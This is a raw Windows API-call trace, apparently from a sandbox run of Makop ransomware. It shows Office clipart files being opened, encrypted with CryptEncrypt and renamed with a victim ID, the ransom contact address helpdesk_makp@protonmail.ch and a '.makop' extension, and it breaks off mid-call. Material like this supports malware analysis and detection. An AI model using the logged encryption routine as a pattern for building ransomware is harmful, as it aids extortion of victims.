[0141.489] GetProcessHeap () returned 0x48a0000 [0141.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.489] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.491] CloseHandle (hObject=0xf0) returned 1 [0141.491] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1 [0141.491] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 63 [0141.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.492] GetProcessHeap () returned 0x48a0000 [0141.492] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.492] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.498] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.498] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.498] GetProcessHeap () returned 0x48a0000 [0141.498] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.498] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.498] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.498] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.498] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.498] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.498] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.499] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.499] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.499] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.499] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb24, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb24, lpOverlapped=0x0) returned 1 [0141.499] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb30, dwBufLen=0xb30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb30) returned 1 [0141.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb30, lpOverlapped=0x0) returned 1 [0141.500] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.500] SetEndOfFile (hFile=0xf0) returned 1 [0141.506] GetProcessHeap () returned 0x48a0000 [0141.507] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.507] GetProcessHeap () returned 0x48a0000 [0141.507] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.507] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.507] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.508] CloseHandle (hObject=0xf0) returned 1 [0141.509] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1 [0141.509] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF") returned 63 [0141.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.510] GetProcessHeap () returned 0x48a0000 [0141.510] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.510] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.510] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.510] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.515] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.515] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.515] GetProcessHeap () returned 0x48a0000 [0141.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.515] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.515] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.517] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.517] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2fb8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2fb8, lpOverlapped=0x0) returned 1 [0141.519] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2fc0, dwBufLen=0x2fc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2fc0) returned 1 [0141.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2fc0, lpOverlapped=0x0) returned 1 [0141.520] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.520] SetEndOfFile (hFile=0xf0) returned 1 [0141.527] GetProcessHeap () returned 0x48a0000 [0141.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.527] GetProcessHeap () returned 0x48a0000 [0141.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.527] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.529] CloseHandle (hObject=0xf0) returned 1 [0141.529] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1 [0141.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 63 [0141.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.531] GetProcessHeap () returned 0x48a0000 [0141.531] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.532] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.532] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.536] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.536] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.536] GetProcessHeap () returned 0x48a0000 [0141.536] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.536] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.536] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.537] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.537] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.538] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x53c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x53c, lpOverlapped=0x0) returned 1 [0141.538] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x540, dwBufLen=0x540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x540) returned 1 [0141.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x540, lpOverlapped=0x0) returned 1 [0141.538] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.538] SetEndOfFile (hFile=0xf0) returned 1 [0141.544] GetProcessHeap () returned 0x48a0000 [0141.544] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.544] GetProcessHeap () returned 0x48a0000 [0141.545] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.545] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.546] CloseHandle (hObject=0xf0) returned 1 [0141.546] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1 [0141.546] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF") returned 63 [0141.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.547] GetProcessHeap () returned 0x48a0000 [0141.547] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.547] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.547] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.547] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.552] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.552] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.552] GetProcessHeap () returned 0x48a0000 [0141.552] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.552] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.552] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.552] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.552] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.553] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.553] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.553] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.553] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1948, lpOverlapped=0x0) returned 1 [0141.555] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1950, dwBufLen=0x1950 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1950) returned 1 [0141.555] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.555] 